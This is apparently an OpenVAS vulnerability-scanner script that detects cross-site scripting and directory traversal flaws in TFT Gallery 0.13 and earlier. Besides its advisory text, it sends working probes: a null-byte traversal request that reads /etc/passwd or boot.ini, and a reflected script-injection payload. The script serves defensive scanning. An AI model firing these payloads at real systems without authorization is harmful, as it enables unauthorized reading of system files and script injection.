###############################################################################
# OpenVAS Vulnerability Test
# $Id: secpod_tftgallery_mult_vuln_nov09.nasl 5699 2009-11-16 15:01:54Z nov $
#
# TFT Gallery XSS And Directory Traversal Vulnerabilities
#
# Authors:
# Nikita MR <rnikita@secpod.com>
#
# Copyright:
# Copyright (c) 2009 SecPod, http://www.secpod.com
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

if(description)
{
  script_id(900974);
  script_version("$Revision: 1.0 $");
  script_tag(name:"cvss_base", value:"6.4");
  script_tag(name:"risk_factor", value:"High");
  script_cve_id("CVE-2009-3911", "CVE-2009-3912");
  script_bugtraq_id(36898, 36899);
  script_name("TFT Gallery XSS And Directory Traversal Vulnerabilities");
  desc = "
  Overview: This host is installed with TFT Gallery and is prone to Cross-Site
  Scripting and Directory Traversal vulnerabilities.

  Vulnerability Insight:
  - Error exists when input passed via the 'sample' parameter to settings.php
    is not properly sanitised before being returned to the user. This can be
    exploited to execute arbitrary HTML and script code or conduct XSS attacks.
  - Input passed via the 'album' parameter to index.php is not properly
    verified before being used to include files via a '../'. This can be
    exploited to include arbitrary files from local resources via directory
    traversal attacks and URL-encoded NULL bytes.

  Impact:
  Successful exploitation will allow remote attackers to disclose sensitive
  information and conduct cross-site scripting attacks.

  Impact Level: Application

  Affected Software/OS:
  TFT Gallery version 0.13 and prior on all platforms.

  Fix: No solution or patch is available as on 16th November, 2009. Information
  regarding this issue will be updated once the solution details are available.
  For updates refer, http://www.tftgallery.org/

  References:
  http://secunia.com/advisories/37156
  http://xforce.iss.net/xforce/xfdb/54087
  http://packetstormsecurity.org/0911-exploits/tftgallery-traversal.txt

  CVSS Score:
    CVSS Base Score     : 6.4 (AV:N/AC:L/Au:NR/C:P/I:P/A:N)
    CVSS Temporal Score : 5.8
  Risk factor: High";

  script_description(desc);
  script_summary("Check for the version of TFT Gallery");
  script_category(ACT_GATHER_INFO);
  script_copyright("Copyright (C) 2009 SecPod");
  script_family("Web application abuses");
  script_dependencies("tftgallery_detect.nasl");
  script_require_ports("Services/www", 80);
  exit(0);
}


include("http_func.inc");
include("version_func.inc");

tftPort = get_http_port(default:80);
if(!tftPort){
  exit(0);
}

tftVer = get_kb_item(string("www/", tftPort, "/tftgallery"));
tftVer = eregmatch(pattern:"^(.+) under (/.*)$", string:tftVer);

if((tftVer[2] != NULL) && !safe_checks())
{
  foreach dir (make_list("etc/passwd", "boot.ini"))
  {
    sndReq = http_get(item:tftVer[2] + "/index.php?album=../../../../../../" +
                           "../../../../" + dir + "%00&page=1>", port:tftPort);
    rcvRes = http_send_recv(port:tftPort, data:sndReq);

    if(rcvRes =~ "root:x:0:[01]:.*" || (rcvRes =~ "\[boot loader\]"))
    {
      security_hole(port:tftPort);
      exit(0);
    }
  }

  sndReq = http_get(item:tftVer[2]+"/settings.php?sample='></link><script>alert"+
                         "('OpenVAS-XSS-TEST')</script>&amp;name=cucumber cool",
                    port:tftPort);
  rcvRes = http_send_recv(port:tftPort, data:sndReq);

  if("OpenVAS-XSS-TEST" >< rcvRes)
  {
    security_hole(port:tftPort);
    exit(0);
  }
}

if(tftVer[1] != NULL)
{
  if(version_is_less_equal(version: tftVer[1], test_version:"0.13")){
    security_hole(tftPort);
  }
}
